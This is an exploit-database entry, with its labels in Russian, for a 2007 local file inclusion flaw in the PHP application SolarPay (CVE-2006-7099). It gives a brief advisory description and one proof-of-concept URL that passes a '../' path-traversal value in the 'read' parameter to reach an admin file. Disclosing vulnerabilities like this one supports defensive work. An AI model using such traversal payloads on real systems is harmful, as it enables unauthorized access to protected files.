Exploit SolarPay - 'index.php' Local File Inclusion

[Exploiter]

EDB-ID

29663

Проверка EDB

1. Пройдено

Автор

HASADYA RAED

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-7099

Дата публикации

2007-02-26

SolarPay - 'index.php' Local File Inclusion

source: https://www.securityfocus.com/bid/22722/info

SolarPay is prone to a local file-include vulnerability because the utility fails to properly sanitize user-supplied input.

Successfully exploiting this issue allows attackers to gain access to files located in directories they do not have permissions to access. Information that attackers harvest may aid them in further attacks. 

http://www.example.com/index.php?read=../admin/a_searchu.php